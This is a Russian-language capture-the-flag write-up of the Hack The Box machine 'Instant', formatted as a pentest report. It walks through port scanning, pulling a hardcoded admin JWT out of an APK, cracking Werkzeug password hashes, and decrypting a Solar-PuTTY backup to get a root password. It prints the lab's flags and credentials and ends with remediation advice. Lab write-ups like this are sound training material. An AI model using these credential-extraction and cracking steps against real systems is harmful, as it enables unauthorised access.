Instant


Исполнитель: Тестирование выполнено Кравцовым Николаем, начинающим специалистом по информационной безопасности *в 0:11 (так спать хочу)*

Область тестирования и использованные службы.

IP/домен Порт Сервис Сервис целевого сервера
localhost 5901 WinKexServer -
localhost - Nmap Port Scanner -
localhost - GoBuster Directory Fuzzing -
localhost - Obsidian Notes -
localhost 8000 Python HTTP Simple Server -
10.10.11.37 80 Web Server +
10.10.11.37 22 SSH +
10.10.11.37 8888 Web Server 2 +
10.10.11.37 8000 Python HTTP Simple Server +

Использованные файлы:

  • linpeas.sh - Privilege Escalation Awesome Scripts SUITE new generation.
  • instant.apk - файл, который необходимо проанализировать для прохождения комнаты.
  • Werkzeug-Cracker.py - скрипт для брутфорса сгенерированных werkzeug'ом паролей.
  • sessions-backup.dat - файл, который необходимо проанализировать для прохождения комнаты.
  • SolarPuttyDecrypt.exe - утилита для анализа бекапов Solar PuTTY.
  • user.txt - флаг.
  • root.txt - флаг.

    Порядок действий

1) Запуск openvpn для доступа; kex для того, чтобы сделать linux удобнее

  • kex --win && sudo openvpn lab_Kolya080808.ovpn

    2) Сканирование портов с помощью nmap.

  • Результаты:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 31:83:eb:9f:15:f8:40:a5:04:9c:cb:3f:f6:ec:49:76 (ECDSA)
|_  256 6f:66:03:47:0e:8a:e0:03:97:67:5b:41:cf:e2:c7:c7 (ED25519)
80/tcp open  http    Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://instant.htb/
|_http-server-header: Apache/2.4.58 (Ubuntu)
Service Info: Host: instant.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

3) Запуск gobuster для поиска директорий.

  • Результаты:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://instant.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /home/kolya080808/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/img                  (Status: 301) [Size: 308] [--> http://instant.htb/img/]
/downloads            (Status: 301) [Size: 314] [--> http://instant.htb/downloads/]
/css                  (Status: 301) [Size: 308] [--> http://instant.htb/css/]
/js                   (Status: 301) [Size: 307] [--> http://instant.htb/js/]
/javascript           (Status: 301) [Size: 315] [--> http://instant.htb/javascript/]
Progress: 6713 / 220561 (3.04%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 6713 / 220561 (3.04%)
===============================================================
Finished
===============================================================

4) К сожалению при заходе на страницу ничего не выдавало, так что пришлось искать на самом веб-сервере. Самое интересное на скрине.

  • Результат

    5) Я попробовал просмотреть файл с помощью strings.

  • Попытка:

  • Вывод: Надо использовать что-то другое для анализа apk, например apktool.

    6) Проанализировав страницу на HackTricks с анализом apk файлов, я нашел кое-что интересное.

  • Анализ:

  • Результат:
┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/res/xml]
└─$ cat network_security_config.xml
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
    <domain-config cleartextTrafficPermitted="true">
        <domain includeSubdomains="true">mywalletv1.instant.htb</domain>
        <domain includeSubdomains="true">swagger-ui.instant.htb</domain>
    </domain-config>
</network-security-config>

7) Посмотрим на предоставленные нам домены, предварительно добавив их в /etc/hosts.

  • /etc/hosts:
  • Результат:

    • mywalletv1.instant.htb:
    • swagger-ui.instant.htb:

      8) Попытаемся добыть какие-то данные, которые нам предоставляет этот домен.

  • Попытка:

  • Вывод: Думаю, что нужны еще какие-то данные из apk-файла.

    9) Попробуем добыть данные админа из apk файла.

  • Результат:

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant]
└─$ tree smali | grep Admin
│           ├── AdminActivities$1.smali
│           ├── AdminActivities.smali

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant]
└─$ cd smali

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali]
└─$ ls
android  androidx  com  kotlin  kotlinx  okhttp3  okio  org  pl

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali]
└─$ cd com

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com]
└─$ ls
google  instantlabs

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com]
└─$ cd instantlabs/

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com/instantlabs]
└─$ ls
instant

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com/instantlabs]
└─$ cd instant

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com/instantlabs/instant]
└─$ ls
'AdminActivities$1.smali'         'LoginActivity$3.smali'     MainActivity.smali          'R$color.smali'     'R$style.smali'               'RegisterActivity$3$3.smali'  'TransactionActivity$1.smali'
 AdminActivities.smali            'LoginActivity$4$1.smali'  'ProfileActivity$1$1.smali'  'R$drawable.smali'  'R$xml.smali'                 'RegisterActivity$3.smali'    'TransactionActivity$2$1.smali'
'ForgotPasswordActivity$1.smali'  'LoginActivity$4$2.smali'  'ProfileActivity$1$2.smali'  'R$id.smali'        'RegisterActivity$1.smali'     RegisterActivity.smali       'TransactionActivity$2$2$1.smali'
 ForgotPasswordActivity.smali     'LoginActivity$4$3.smali'  'ProfileActivity$1.smali'    'R$layout.smali'    'RegisterActivity$2.smali'     R.smali                      'TransactionActivity$2$2.smali'
'LoginActivity$1.smali'           'LoginActivity$4.smali'    'ProfileActivity$2.smali'    'R$mipmap.smali'    'RegisterActivity$3$1.smali'  'SplashActivity$1.smali'      'TransactionActivity$2.smali'
'LoginActivity$2.smali'            LoginActivity.smali        ProfileActivity.smali       'R$string.smali'    'RegisterActivity$3$2.smali'   SplashActivity.smali          TransactionActivity.smali

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com/instantlabs/instant]
└─$ cd AdminActivities.smali
bash: cd: AdminActivities.smali: Not a directory

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com/instantlabs/instant]
└─$ cat AdminActivities.smali
.class public Lcom/instantlabs/instant/AdminActivities;
.super Ljava/lang/Object;
.source "AdminActivities.java"


# direct methods
.method public constructor <init>()V
    .locals 0

    .line 19
    invoke-direct {p0}, Ljava/lang/Object;-><init>()V

    return-void
.end method

.method private TestAdminAuthorization()Ljava/lang/String;
    .locals 4

    .line 22
    new-instance v0, Lokhttp3/OkHttpClient;

    invoke-direct {v0}, Lokhttp3/OkHttpClient;-><init>()V

    .line 23
    new-instance v1, Lokhttp3/Request$Builder;

    invoke-direct {v1}, Lokhttp3/Request$Builder;-><init>()V

    const-string v2, "http://mywalletv1.instant.htb/api/v1/view/profile"

    .line 24
    invoke-virtual {v1, v2}, Lokhttp3/Request$Builder;->url(Ljava/lang/String;)Lokhttp3/Request$Builder;

    move-result-object v1

    const-string v2, "Authorization"

    const-string v3, 

"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" //это то что мы искали - куки, они дадут нам силу админа!

    .line 25
    invoke-virtual {v1, v2, v3}, Lokhttp3/Request$Builder;->addHeader(Ljava/lang/String;Ljava/lang/String;)Lokhttp3/Request$Builder;

    move-result-object v1

    .line 26
    invoke-virtual {v1}, Lokhttp3/Request$Builder;->build()Lokhttp3/Request;

    move-result-object v1

    .line 27
    invoke-virtual {v0, v1}, Lokhttp3/OkHttpClient;->newCall(Lokhttp3/Request;)Lokhttp3/Call;

    move-result-object v0

    new-instance v1, Lcom/instantlabs/instant/AdminActivities$1;

    invoke-direct {v1, p0}, Lcom/instantlabs/instant/AdminActivities$1;-><init>(Lcom/instantlabs/instant/AdminActivities;)V

    invoke-interface {v0, v1}, Lokhttp3/Call;->enqueue(Lokhttp3/Callback;)V

    const-string v0, "Done"

    return-object v0
.end method

10) Я чувствую, что здесь есть file read.

  • Команды: Круто! Мы нашли ssh ключ!

11) Шаманим над ним в CyberChef и входим.

  • Результат

    12) Читаем user.txt.

  • Флаг:

shirohige@instant:~$ cat user.txt
deafb16317a29cf58c0f7d31a66a12a7

13) Пытаемся найти способы повышения привеллегий с помощью linpeas.

  • Результат: Я думаю, что надо поискать вручную

    14) Я попробовал поискать в разных директориях в домашней, и нашел кое что интересное.

  • Результат:

    15) Проанализируем, что это такое и что у нас есть в этой базе данных:

  • Команды и результат:

    16) Помня директорию pyenv, предположим, что наша база данных и хеши связаны с flask. Тогда попробуем добыть пароли для них с помощью Werkzeug Cracker:

  • Команды

┌──(kolya080808㉿NIKOLAPC-X2)-[~]
└─$ git clone https://github.com/AnataarXVI/Werkzeug-Cracker.git
Cloning into 'Werkzeug-Cracker'...
remote: Enumerating objects: 93, done.
remote: Counting objects: 100% (93/93), done.
remote: Compressing objects: 100% (64/64), done.
remote: Total 93 (delta 40), reused 62 (delta 19), pack-reused 0 (from 0)
Receiving objects: 100% (93/93), 55.35 KiB | 3.07 MiB/s, done.
Resolving deltas: 100% (40/40), done.

┌──(kolya080808㉿NIKOLAPC-X2)-[~]
└─$ cd Werkzeug-Cracker/

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Werkzeug-Cracker]
└─$ nano hashes.txt

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Werkzeug-Cracker]
└─$ pip3 install -r requirements.txt
Defaulting to user installation because normal site-packages is not writeable
Requirement already satisfied: MarkupSafe==2.1.2 in /home/kolya080808/.local/lib/python3.11/site-packages (from -r requirements.txt (line 1)) (2.1.2)
Requirement already satisfied: progress==1.6 in /home/kolya080808/.local/lib/python3.11/site-packages (from -r requirements.txt (line 2)) (1.6)
Requirement already satisfied: Werkzeug==3.0.3 in /home/kolya080808/.local/lib/python3.11/site-packages (from -r requirements.txt (line 3)) (3.0.3)

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Werkzeug-Cracker]
└─$ python3 werkzeug_cracker.py
usage: werkzeug_cracker.py [-h] [-p PASSWORD] [-w WORDLIST] [-t THREADS]

Werkzeug hash cracker

options:
  -h, --help            show this help message and exit
  -p PASSWORD, --password PASSWORD
                        load hash file
  -w WORDLIST, --wordlist WORDLIST
                        load wordlist file
  -t THREADS, --threads THREADS
                        number of threads, default=16

Example:
        werkzeug_cracker.py -p [hash] -w [wordlist] -t [threads]

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Werkzeug-Cracker]
└─$ python3 werkzeug_cracker.py -p hashes.txt -w /usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt
Cracking pbkdf2:sha256:600000$YnRgjnim$c9541a8c6ad40bc064979bc446025041ffac9af2f762726971d8a28272c550ed |█████████████████▌              | 5464/9999
Password found: estrella

Cracking pbkdf2:sha256:600000$I5bFyb0ZzD69pNX8$e9e4ea5c280e0766612295ab9bff32e5fa1de8f6cbb6586fab7ab7bc762bd978 |████████████████████████████████| 9999/9999
┌──(kolya080808㉿NIKOLAPC-X2)-[~/Werkzeug-Cracker]
└─$

17) Пароль для нашего пользователя и root не подходит:

  • Результат
shirohige@instant:~/projects/mywallet/Instant-Api/mywallet/instance$ sudo -l
[sudo] password for shirohige:
Sorry, try again.
[sudo] password for shirohige:
Sorry, try again.
[sudo] password for shirohige:
sudo: 3 incorrect password attempts
shirohige@instant:~/projects/mywallet/Instant-Api/mywallet/instance$ sudo su
[sudo] password for shirohige:
Sorry, try again.
[sudo] password for shirohige:
Sorry, try again.
[sudo] password for shirohige:
sudo: 3 incorrect password attempts

18) Попробуем посмотреть все возможные уязвимости, найденные linpeas:

  • Что нам нужно посмотреть:
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 200)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files
/dev/mqueue
/dev/shm
/home/shirohige
/opt/backups
/opt/backups/Solar-PuTTY
/opt/backups/Solar-PuTTY/sessions-backup.dat #!вот это!

19) Скачиваем файл:

  • Результат:
shirohige@instant:~$ cd /opt/backups/Solar-PuTTY/
shirohige@instant:/opt/backups/Solar-PuTTY$ ls
sessions-backup.dat
shirohige@instant:/opt/backups/Solar-PuTTY$ ip a s
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:94:e9:33 brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.10.11.37/23 brd 10.10.11.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::250:56ff:fe94:e933/64 scope link
       valid_lft forever preferred_lft forever
shirohige@instant:/opt/backups/Solar-PuTTY$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.16.39 - - [10/Nov/2024 20:24:31] "GET /sessions-backup.dat HTTP/1.1" 200 -




┌──(kolya080808㉿NIKOLAPC-X2)-[~]
└─$ wget http://10.10.11.37:8000/sessions-backup.dat
--2024-11-10 23:24:32--  http://10.10.11.37:8000/sessions-backup.dat
Connecting to 10.10.11.37:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1100 (1.1K) [application/octet-stream]
Saving to: ‘sessions-backup.dat’

sessions-backup.dat                                  100%[=====================================================================================================================>]   1.07K  --.-KB/s    in 0.1s

2024-11-10 23:24:32 (8.22 KB/s) - ‘sessions-backup.dat’ saved [1100/1100]


┌──(kolya080808㉿NIKOLAPC-X2)-[~]
└─$ mv sessions-backup.dat /mnt/c/users/kolya/Downloads/
mv: preserving times for '/mnt/c/users/kolya/Downloads/sessions-backup.dat': Operation not permitted
mv: preserving permissions for ‘/mnt/c/users/kolya/Downloads/sessions-backup.dat’: Operation not permitted

┌──(kolya080808㉿NIKOLAPC-X2)-[~]
└─$ ls /mnt/c/users/kolya/Downloads/
 2024-11-10_19-42-51.png                                 desktop.ini                               Rame.png                   StreamerBackground-Dark.png
 2024-11-10_19-43-38.png                                 discord_backup_codes.txt                  sessions-backup.dat        UTC--2021-12-13T07-50-47.625Z--30178e80b07a17f3596d8316729a548e10df384b.json
 AscomPlatform662.4195.exe                               NINASetupBundle_3.1.1.9001                SolarPuttyDecrypt_v1      'WhatsApp Image 2021-08-09 at 10.17.46.jpeg'
'Celestron Telescope and Focuser Setup (6.1.7350).exe'   OBS-Studio-30.2.3-Windows-Installer.exe   SolarPuttyDecrypt_v1.zip  'Снимок экрана (182).png'

20) Я нашел утилиту для реверса Solar-PuTTY сессий по паролю. Используем ее для попытки получения пароля для root.

  • Команда:
C:\Users\Kolya\Downloads\SolarPuttyDecrypt_v1>SolarPuttyDecrypt.exe
SolarPuttyDecrypt now will try to dump local sessions' file, otherwise enter SolarPutty's sessions file path and password.

Usage: SolarPuttyDecrypt.exe C:\session.dat pwd123 (use "" for empty password)
-----------------------------------------------------
SolarPutty's Sessions Decrypter by VoidSec
-----------------------------------------------------

Необработанное исключение: System.IO.DirectoryNotFoundException: Не удалось найти часть пути "C:\Users\Kolya\AppData\Roaming\SolarWinds\FreeTools\Solar-PuTTY\data.dat".
   в System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath)
   в System.IO.FileStream.Init(String path, FileMode mode, FileAccess access, Int32 rights, Boolean useRights, FileShare share, Int32 bufferSize, FileOptions options, SECURITY_ATTRIBUTES secAttrs, String msgPath, Boolean bFromProxy, Boolean useLongPath, Boolean checkHost)
   в System.IO.FileStream..ctor(String path, FileMode mode, FileAccess access, FileShare share, Int32 bufferSize, FileOptions options, String msgPath, Boolean bFromProxy)
   в System.IO.FileStream..ctor(String path, FileMode mode)
   в SolarPuttyDecrypt.Program.DoImport(String dialogFileName, String password, String CurrDir) в C:\Users\VoidSec\Documents\GitHub\SolarPuttyDecrypt\SolarPuttyDecrypt\Program.cs:строка 47
   в SolarPuttyDecrypt.Program.Main(String[] args) в C:\Users\VoidSec\Documents\GitHub\SolarPuttyDecrypt\SolarPuttyDecrypt\Program.cs:строка 31

C:\Users\Kolya\Downloads\SolarPuttyDecrypt_v1>SolarPuttyDecrypt.exe ..\sessions-backup.dat estrella
-----------------------------------------------------
SolarPutty's Sessions Decrypter by VoidSec
-----------------------------------------------------

{
  "Sessions": [
    {
      "Id": "066894ee-635c-4578-86d0-d36d4838115b",
      "Ip": "10.10.11.37",
      "Port": 22,
      "ConnectionType": 1,
      "SessionName": "Instant",
      "Authentication": 0,
      "CredentialsID": "452ed919-530e-419b-b721-da76cbe8ed04",
      "AuthenticateScript": "00000000-0000-0000-0000-000000000000",
      "LastTimeOpen": "0001-01-01T00:00:00",
      "OpenCounter": 1,
      "SerialLine": null,
      "Speed": 0,
      "Color": "#FF176998",
      "TelnetConnectionWaitSeconds": 1,
      "LoggingEnabled": false,
      "RemoteDirectory": ""
    }
  ],
  "Credentials": [
    {
      "Id": "452ed919-530e-419b-b721-da76cbe8ed04",
      "CredentialsName": "instant-root",
      "Username": "root",
      "Password": "12**24nzC!r0c%q12", // !Сюда нам надо!
      "PrivateKeyPath": "",
      "Passphrase": "",
      "PrivateKeyContent": null
    }
  ],
  "AuthScript": [],
  "Groups": [],
  "Tunnels": [],
  "LogsFolderDestination": "C:\\ProgramData\\SolarWinds\\Logs\\Solar-PuTTY\\SessionLogs"
}

-----------------------------------------------------
[+] DONE Decrypted file is saved in: C:\Users\Kolya\Desktop\SolarPutty_sessions_decrypted.txt

21)Пробуем:

  • Результат:
shirohige@instant:/opt/backups/Solar-PuTTY$ su root
Password:
root@instant:/opt/backups/Solar-PuTTY# id
uid=0(root) gid=0(root) groups=0(root)

22) Читаем root флаг:

  • Результат:
root@instant:~# cd ~
root@instant:~# cat root.txt
d28cd25ccb744f06152609d4d2e8b64d
root@instant:~#
Примечание: Афигенная комната, но очень сложно догадаться со вторым флагом. Зато симулирует реальную ситуацию - это редко для таких платформ. Очень круто! Спасибо HackTheBox за афигенскую комнату!!!

Найденные уязвимости

Information Disclosure

PoC:

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/res/xml]
└─$ cat network_security_config.xml
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
    <domain-config cleartextTrafficPermitted="true">
        <domain includeSubdomains="true">mywalletv1.instant.htb</domain>
        <domain includeSubdomains="true">swagger-ui.instant.htb</domain>
    </domain-config>
</network-security-config>

(пункт 6)

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com/instantlabs/instant]
└─$ ls
'AdminActivities$1.smali'         'LoginActivity$3.smali'     MainActivity.smali          'R$color.smali'     'R$style.smali'               'RegisterActivity$3$3.smali'  'TransactionActivity$1.smali'
 AdminActivities.smali            'LoginActivity$4$1.smali'  'ProfileActivity$1$1.smali'  'R$drawable.smali'  'R$xml.smali'                 'RegisterActivity$3.smali'    'TransactionActivity$2$1.smali'
'ForgotPasswordActivity$1.smali'  'LoginActivity$4$2.smali'  'ProfileActivity$1$2.smali'  'R$id.smali'        'RegisterActivity$1.smali'     RegisterActivity.smali       'TransactionActivity$2$2$1.smali'
 ForgotPasswordActivity.smali     'LoginActivity$4$3.smali'  'ProfileActivity$1.smali'    'R$layout.smali'    'RegisterActivity$2.smali'     R.smali                      'TransactionActivity$2$2.smali'
'LoginActivity$1.smali'           'LoginActivity$4.smali'    'ProfileActivity$2.smali'    'R$mipmap.smali'    'RegisterActivity$3$1.smali'  'SplashActivity$1.smali'      'TransactionActivity$2.smali'
'LoginActivity$2.smali'            LoginActivity.smali        ProfileActivity.smali       'R$string.smali'    'RegisterActivity$3$2.smali'   SplashActivity.smali          TransactionActivity.smali

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com/instantlabs/instant]
└─$ cd AdminActivities.smali
bash: cd: AdminActivities.smali: Not a directory

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com/instantlabs/instant]
└─$ cat AdminActivities.smali
.class public Lcom/instantlabs/instant/AdminActivities;
.super Ljava/lang/Object;
.source "AdminActivities.java"


# direct methods
.method public constructor <init>()V
    .locals 0

    .line 19
    invoke-direct {p0}, Ljava/lang/Object;-><init>()V

    return-void
.end method

.method private TestAdminAuthorization()Ljava/lang/String;
    .locals 4

    .line 22
    new-instance v0, Lokhttp3/OkHttpClient;

    invoke-direct {v0}, Lokhttp3/OkHttpClient;-><init>()V

    .line 23
    new-instance v1, Lokhttp3/Request$Builder;

    invoke-direct {v1}, Lokhttp3/Request$Builder;-><init>()V

    const-string v2, "http://mywalletv1.instant.htb/api/v1/view/profile"

    .line 24
    invoke-virtual {v1, v2}, Lokhttp3/Request$Builder;->url(Ljava/lang/String;)Lokhttp3/Request$Builder;

    move-result-object v1

    const-string v2, "Authorization"

    const-string v3, 
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"
    .line 25
    invoke-virtual {v1, v2, v3}, Lokhttp3/Request$Builder;->addHeader(Ljava/lang/String;Ljava/lang/String;)Lokhttp3/Request$Builder;

    move-result-object v1

    .line 26
    invoke-virtual {v1}, Lokhttp3/Request$Builder;->build()Lokhttp3/Request;

    move-result-object v1

    .line 27
    invoke-virtual {v0, v1}, Lokhttp3/OkHttpClient;->newCall(Lokhttp3/Request;)Lokhttp3/Call;

    move-result-object v0

    new-instance v1, Lcom/instantlabs/instant/AdminActivities$1;

    invoke-direct {v1, p0}, Lcom/instantlabs/instant/AdminActivities$1;-><init>(Lcom/instantlabs/instant/AdminActivities;)V

    invoke-interface {v0, v1}, Lokhttp3/Call;->enqueue(Lokhttp3/Callback;)V

    const-string v0, "Done"

    return-object v0
.end method

(пункт 9)

CVSSv3 Score: 10.0 (Critical)

Описание:

Information Disclosure в данном случае связана с данными в apk файле. Разработчик предоставил слишком много информации во время разработки, из-за чего появилась уязвимость.

Воспроизведение уязвимости:

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant]
└─$ tree smali | grep Admin
│           ├── AdminActivities$1.smali
│           ├── AdminActivities.smali

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant]
└─$ cd smali

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali]
└─$ ls
android  androidx  com  kotlin  kotlinx  okhttp3  okio  org  pl

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali]
└─$ cd com

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com]
└─$ ls
google  instantlabs

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com]
└─$ cd instantlabs/

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com/instantlabs]
└─$ ls
instant

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com/instantlabs]
└─$ cd instant

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com/instantlabs/instant]
└─$ ls
'AdminActivities$1.smali'         'LoginActivity$3.smali'     MainActivity.smali          'R$color.smali'     'R$style.smali'               'RegisterActivity$3$3.smali'  'TransactionActivity$1.smali'
 AdminActivities.smali            'LoginActivity$4$1.smali'  'ProfileActivity$1$1.smali'  'R$drawable.smali'  'R$xml.smali'                 'RegisterActivity$3.smali'    'TransactionActivity$2$1.smali'
'ForgotPasswordActivity$1.smali'  'LoginActivity$4$2.smali'  'ProfileActivity$1$2.smali'  'R$id.smali'        'RegisterActivity$1.smali'     RegisterActivity.smali       'TransactionActivity$2$2$1.smali'
 ForgotPasswordActivity.smali     'LoginActivity$4$3.smali'  'ProfileActivity$1.smali'    'R$layout.smali'    'RegisterActivity$2.smali'     R.smali                      'TransactionActivity$2$2.smali'
'LoginActivity$1.smali'           'LoginActivity$4.smali'    'ProfileActivity$2.smali'    'R$mipmap.smali'    'RegisterActivity$3$1.smali'  'SplashActivity$1.smali'      'TransactionActivity$2.smali'
'LoginActivity$2.smali'            LoginActivity.smali        ProfileActivity.smali       'R$string.smali'    'RegisterActivity$3$2.smali'   SplashActivity.smali          TransactionActivity.smali

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com/instantlabs/instant]
└─$ cd AdminActivities.smali
bash: cd: AdminActivities.smali: Not a directory

┌──(kolya080808㉿NIKOLAPC-X2)-[~/Downloads/instant/smali/com/instantlabs/instant]
└─$ cat AdminActivities.smali

(пункт 9) (пункт 6)

Рекомендации по устранению:

  • Проверьте определенные файлы на наличие конфиденциальных данных
  • Выпустите обновление с блокировкой попытки реверса

    File Read

PoC:

CVSSv3 Score: 10.0 (Critical)

Описание:

На сабдомене swagger-ui нету никакой защиты от file read.

Воспроизведение уязвимости:

Соответствует PoC.

Рекомендации по устранению:

PoC:

shirohige@instant:/opt/backups/Solar-PuTTY$ su root
Password:
root@instant:/opt/backups/Solar-PuTTY# id
uid=0(root) gid=0(root) groups=0(root)

(пункт 21)

CVSSv3 Score: 10.0 (Critical)

Описание:

Information Disclosure в данном случае связана с необновленной, уязвимой версией Solar-PuTTY, а так же доступом к файлу не тех групп и пользователей, которым это необходимо.

Воспроизведение уязвимости:

C:\Users\Kolya\Downloads\SolarPuttyDecrypt_v1>SolarPuttyDecrypt.exe
SolarPuttyDecrypt now will try to dump local sessions' file, otherwise enter SolarPutty's sessions file path and password.

Usage: SolarPuttyDecrypt.exe C:\session.dat pwd123 (use "" for empty password)
-----------------------------------------------------
SolarPutty's Sessions Decrypter by VoidSec
-----------------------------------------------------

Необработанное исключение: System.IO.DirectoryNotFoundException: Не удалось найти часть пути "C:\Users\Kolya\AppData\Roaming\SolarWinds\FreeTools\Solar-PuTTY\data.dat".
   в System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath)
   в System.IO.FileStream.Init(String path, FileMode mode, FileAccess access, Int32 rights, Boolean useRights, FileShare share, Int32 bufferSize, FileOptions options, SECURITY_ATTRIBUTES secAttrs, String msgPath, Boolean bFromProxy, Boolean useLongPath, Boolean checkHost)
   в System.IO.FileStream..ctor(String path, FileMode mode, FileAccess access, FileShare share, Int32 bufferSize, FileOptions options, String msgPath, Boolean bFromProxy)
   в System.IO.FileStream..ctor(String path, FileMode mode)
   в SolarPuttyDecrypt.Program.DoImport(String dialogFileName, String password, String CurrDir) в C:\Users\VoidSec\Documents\GitHub\SolarPuttyDecrypt\SolarPuttyDecrypt\Program.cs:строка 47
   в SolarPuttyDecrypt.Program.Main(String[] args) в C:\Users\VoidSec\Documents\GitHub\SolarPuttyDecrypt\SolarPuttyDecrypt\Program.cs:строка 31

C:\Users\Kolya\Downloads\SolarPuttyDecrypt_v1>SolarPuttyDecrypt.exe ..\sessions-backup.dat estrella
-----------------------------------------------------
SolarPutty's Sessions Decrypter by VoidSec
-----------------------------------------------------

{
  "Sessions": [
    {
      "Id": "066894ee-635c-4578-86d0-d36d4838115b",
      "Ip": "10.10.11.37",
      "Port": 22,
      "ConnectionType": 1,
      "SessionName": "Instant",
      "Authentication": 0,
      "CredentialsID": "452ed919-530e-419b-b721-da76cbe8ed04",
      "AuthenticateScript": "00000000-0000-0000-0000-000000000000",
      "LastTimeOpen": "0001-01-01T00:00:00",
      "OpenCounter": 1,
      "SerialLine": null,
      "Speed": 0,
      "Color": "#FF176998",
      "TelnetConnectionWaitSeconds": 1,
      "LoggingEnabled": false,
      "RemoteDirectory": ""
    }
  ],
  "Credentials": [
    {
      "Id": "452ed919-530e-419b-b721-da76cbe8ed04",
      "CredentialsName": "instant-root",
      "Username": "root",
      "Password": "12**24nzC!r0c%q12", // !Сюда нам надо!
      "PrivateKeyPath": "",
      "Passphrase": "",
      "PrivateKeyContent": null
    }
  ],
  "AuthScript": [],
  "Groups": [],
  "Tunnels": [],
  "LogsFolderDestination": "C:\\ProgramData\\SolarWinds\\Logs\\Solar-PuTTY\\SessionLogs"
}

-----------------------------------------------------
[+] DONE Decrypted file is saved in: C:\Users\Kolya\Desktop\SolarPutty_sessions_decrypted.txt

(пункт 20)

Рекомендации по устранению:

  • Проверьте определенные файлы на наличие конфиденциальных данных
  • Скачайте последнее обновление Solar PuTTY с блокировкой реверса
  • Не храните данные в папках с правами для всех пользователей.

    Видео выполнения


Загрузки

Download files archive